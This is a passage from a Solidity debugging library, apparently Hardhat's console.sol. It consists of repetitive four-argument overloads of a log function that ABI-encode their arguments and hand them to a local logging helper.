_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool 